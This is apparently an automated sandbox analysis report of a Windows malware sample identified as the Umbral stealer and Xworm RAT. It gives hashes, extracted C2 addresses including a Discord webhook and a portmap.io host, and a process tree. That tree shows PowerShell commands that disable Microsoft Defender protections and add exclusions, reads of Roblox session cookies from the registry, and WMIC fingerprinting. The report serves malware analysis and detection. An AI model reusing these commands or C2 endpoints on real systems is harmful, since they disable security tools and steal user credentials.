Analysis

  • max time kernel
    119s
  • max time network
    299s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    01-03-2024 12:02

General

  • Target

    5a513e62b9e97d52553248d22e37f25f.exe

  • Size

    215KB

  • MD5

    022cd619c82b6c15b502afbfeec6debf

  • SHA1

    cbb40b18c6ee74346efab7ac2a1e69100b6c3e00

  • SHA256

    f13ef71b6d5e9a6872adb20673aa42a6d7cc6ab305bd20bc8fed059a6597f29f

  • SHA512

    01f997451d33002d8502209afd816b7b6e5a3bc964230da351d70c11e0f144390cdf276b850f13815f414f92370bf6cfd89231eb4b9b1a75b4a8b8bb7f307758

  • SSDEEP

    6144:oDAi86jCtMC5q+gXctZ8eGJ8rhNb8Imc:o0T6DCPxeJMx8+

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1211176678466916392/99VOwP9dc7iQz2Is-QlZ872KZaiUa4r3sEvXqZ6NmS-fFuTojiUjOg2SjIUWBCIoPNFA

Extracted

Family

xworm

C2

hai1723rat-60039.portmap.io:60039

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5a513e62b9e97d52553248d22e37f25f.exe
    "C:\Users\Admin\AppData\Local\Temp\5a513e62b9e97d52553248d22e37f25f.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Windows\.NET\explorer.exe
      "C:\Windows\.NET\explorer.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Windows\.NET\controllloader.exe
        "C:\Windows\.NET\controllloader.exe"
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2528
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Windows\.NET\controllloader.exe'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2512
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1468
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:636
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1332
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2156
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1860
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          4⤵
            PID:2148
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2732
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            4⤵
            • Detects videocard installed
            PID:1868
        • C:\Windows\system32\cmd.exe
          cmd /c ""C:\Windows\.NET\start.cmd" "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2484
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\.NET\'"
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:696
        • C:\Windows\.NET\systemload.exe
          "C:\Windows\.NET\systemload.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2704
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\.NET\systemload.exe'
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:944
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'systemload.exe'
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2088

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      b25f53694183f22d3b9b8cbf7ca5b29b

      SHA1

      2a780e11b936eb11178b81bf47244e91c3f8765b

      SHA256

      952254bddac01cd40b1bf1f276840e663fe0b3838b031159ce1a3e3dd5f8469c

      SHA512

      325ac3c96a091c9e5fbd51447666e3618b1be6d5d639b5c79b9c7d3ea00354e1dce9294801e1c0fe3927f0329be3885f53d798b9ba8c8f5cf8b5d1346a10f4b4

    • C:\Windows\.NET\controllloader.exe

      Filesize

      286KB

      MD5

      e41a0fa0c1e39af92d22090d4df61a1f

      SHA1

      c971a4089b1ab116c34b5ab0dc54d9977f86e834

      SHA256

      c0966533c2bc8c8b9ee176d774eae0ca1c4d6fe6e8efe5d87d4cac8c04b84372

      SHA512

      d42798fa9115f3c3775798a26ef7c28e4f173bdc2b74884b01a4e7905b17a2da09508766a626652eec3622a15a891b6859f4e9a422eb052a59b3fd3eafe1a7fd

    • C:\Windows\.NET\explorer.exe

      Filesize

      245KB

      MD5

      6e582594dff7429cd41f7cd46fba7970

      SHA1

      d91416e8a80c3ba9db036218921a976bab5e651b

      SHA256

      0bb6471d08e761a6ba31f6b9bc54f1b039dc15dd17faa1e7c996baebd08eb33c

      SHA512

      64ed27a592c4f0aca400e4a61c571326882a24c044afe0303c2a090e5f5d38a7fa97ff9fbdf85b0a0a657e96991818692688c1179a38c2903c562fc2a179115b

    • C:\Windows\.NET\start.cmd

      Filesize

      93B

      MD5

      f960abd9684a879e8eca03b8c864ea96

      SHA1

      fb4b9a9b40af84ae46b70bb40ac3e1f45e4b4ad3

      SHA256

      7389178da21f4e2d4ef73ab199b7beeb97247a6c1afec3f3c48a7f561cbfaf90

      SHA512

      2c6267ab25c364c5b13059ed593bb47dfae586ae7b1411634efa3f45aaf07b4d8f491fe93bfd34482a1250c955f1e8c27e1afa0460672a5e9584ebe007ab2054

    • C:\Windows\.NET\systemload.exe

      Filesize

      130KB

      MD5

      352a162df9ca5605e1a1910c7a24cb7c

      SHA1

      4b4ed1c740a03c15eb47d875b65c76941debcaf7

      SHA256

      87e9d9a7a197a0cd483f8e73f307af53a7518cabc001257c8235743181b9a7b8

      SHA512

      0c2bae3f66748cc3448eaf60c5079ae3afba6d585e19e54857f7c152a1bd69c3b8e3df7feb413f3eb2df0f2bc01b44be5bcdefd5427af154a221f2b808a2399d

    • memory/636-108-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/636-113-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/636-115-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/636-114-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/636-112-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/636-111-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/636-109-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/696-55-0x0000000002450000-0x00000000024D0000-memory.dmp

      Filesize

      512KB

    • memory/696-49-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/696-61-0x0000000002450000-0x00000000024D0000-memory.dmp

      Filesize

      512KB

    • memory/696-62-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/696-60-0x0000000002450000-0x00000000024D0000-memory.dmp

      Filesize

      512KB

    • memory/696-59-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/696-50-0x0000000002450000-0x00000000024D0000-memory.dmp

      Filesize

      512KB

    • memory/944-85-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/944-76-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/944-70-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/944-84-0x000000000243B000-0x00000000024A2000-memory.dmp

      Filesize

      412KB

    • memory/944-77-0x0000000002430000-0x00000000024B0000-memory.dmp

      Filesize

      512KB

    • memory/944-75-0x0000000002430000-0x00000000024B0000-memory.dmp

      Filesize

      512KB

    • memory/1332-128-0x000000001B370000-0x000000001B652000-memory.dmp

      Filesize

      2.9MB

    • memory/1332-129-0x0000000002310000-0x0000000002318000-memory.dmp

      Filesize

      32KB

    • memory/1332-130-0x000007FEEB6F0000-0x000007FEEC08D000-memory.dmp

      Filesize

      9.6MB

    • memory/1468-78-0x0000000002600000-0x0000000002680000-memory.dmp

      Filesize

      512KB

    • memory/1468-79-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/1468-80-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/1468-81-0x0000000002600000-0x0000000002680000-memory.dmp

      Filesize

      512KB

    • memory/1468-86-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/1468-87-0x0000000002600000-0x0000000002680000-memory.dmp

      Filesize

      512KB

    • memory/1468-82-0x0000000002600000-0x0000000002680000-memory.dmp

      Filesize

      512KB

    • memory/2088-96-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/2088-93-0x0000000001FB0000-0x0000000001FB8000-memory.dmp

      Filesize

      32KB

    • memory/2088-103-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/2088-102-0x0000000001FC0000-0x0000000002040000-memory.dmp

      Filesize

      512KB

    • memory/2088-98-0x0000000001FC0000-0x0000000002040000-memory.dmp

      Filesize

      512KB

    • memory/2088-97-0x0000000001FC0000-0x0000000002040000-memory.dmp

      Filesize

      512KB

    • memory/2088-95-0x0000000001FC0000-0x0000000002040000-memory.dmp

      Filesize

      512KB

    • memory/2088-94-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/2220-1-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-2-0x000000001BB80000-0x000000001BC00000-memory.dmp

      Filesize

      512KB

    • memory/2220-11-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

      Filesize

      9.9MB

    • memory/2220-0-0x0000000000C40000-0x0000000000C7C000-memory.dmp

      Filesize

      240KB

    • memory/2512-48-0x0000000002550000-0x0000000002558000-memory.dmp

      Filesize

      32KB

    • memory/2512-52-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/2512-54-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/2512-47-0x000000001B350000-0x000000001B632000-memory.dmp

      Filesize

      2.9MB

    • memory/2512-56-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/2512-57-0x00000000024B0000-0x0000000002530000-memory.dmp

      Filesize

      512KB

    • memory/2512-51-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/2512-53-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

      Filesize

      9.6MB

    • memory/2512-58-0x00000000024BB000-0x0000000002522000-memory.dmp

      Filesize

      412KB

    • memory/2528-28-0x00000000010B0000-0x00000000010FE000-memory.dmp

      Filesize

      312KB

    • memory/2528-83-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

      Filesize

      9.9MB

    • memory/2528-36-0x000000001B130000-0x000000001B1B0000-memory.dmp

      Filesize

      512KB

    • memory/2528-110-0x000000001B130000-0x000000001B1B0000-memory.dmp

      Filesize

      512KB

    • memory/2528-30-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

      Filesize

      9.9MB

    • memory/2568-10-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

      Filesize

      9.9MB

    • memory/2568-12-0x000000001BA40000-0x000000001BAC0000-memory.dmp

      Filesize

      512KB

    • memory/2568-9-0x0000000000300000-0x0000000000342000-memory.dmp

      Filesize

      264KB

    • memory/2568-35-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

      Filesize

      9.9MB

    • memory/2704-33-0x00000000000C0000-0x00000000000E6000-memory.dmp

      Filesize

      152KB

    • memory/2704-116-0x000000001B100000-0x000000001B180000-memory.dmp

      Filesize

      512KB

    • memory/2704-34-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

      Filesize

      9.9MB

    • memory/2704-100-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

      Filesize

      9.9MB